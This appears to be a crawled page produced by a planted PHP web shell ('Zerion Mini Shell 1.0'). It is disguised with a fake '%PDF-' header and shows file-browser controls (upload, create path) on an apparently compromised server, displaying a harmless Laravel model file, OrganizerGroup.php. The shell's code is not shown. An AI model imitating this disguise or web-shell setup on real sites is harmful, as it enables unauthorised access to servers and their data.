%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/loslex_bck/test/app/Models/
Upload File :
Create Path :
Current File : //data/www_bck/loslex_bck/test/app/Models/OrganizerGroup.php

<?php

namespace App\Models;

use App\Models\Contest;
use App\Models\OrganizerGroupUser;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Relations\BelongsToMany;

class OrganizerGroup extends Model
{
    // use HasFactory;

    protected $fillable = [
        'name'
    ];

    public function users() : BelongsToMany
    {
        return $this->belongsToMany(User::class, 'organizer_group_users', 'organizer_group_id', 'user_id')
                    ->withPivot('id');
    }

    public function contests() : HasMany
    {
        return $this->hasMany(Contest::class);
    }
}

Zerion Mini Shell 1.0